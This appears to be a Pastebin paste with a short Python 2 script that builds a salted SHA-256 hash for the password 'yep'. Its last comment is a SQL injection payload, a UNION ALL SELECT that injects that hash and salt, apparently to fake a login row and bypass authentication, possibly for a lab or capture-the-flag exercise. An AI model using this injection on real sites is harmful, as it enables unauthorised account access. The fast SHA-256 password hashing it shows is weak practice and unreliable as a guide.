Guest User

Untitled

a guest
Dec 9th, 2018
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.37 KB | None | 0 0
  1. import hashlib
  2.  
  3. salt = hashlib.sha256("salt").hexdigest()[:5]
  4. password = "yep"
  5.  
  6. calculated_hash = hashlib.sha256(password + salt).hexdigest()
  7.  
  8. print [salt, calculated_hash]
  9.  
  10. # password: yep
  11. # salt: 63479
  12. # hash: 2143b6aff39e4925c78ccd88d58d7f7316f12f5b89c48f31aca76c3d08d2664c
  13.  
  14. # ' UNION ALL SELECT 1, "2143b6aff39e4925c78ccd88d58d7f7316f12f5b89c48f31aca76c3d08d2664c", "63479" /*
Add Comment
Please, Sign In to add comment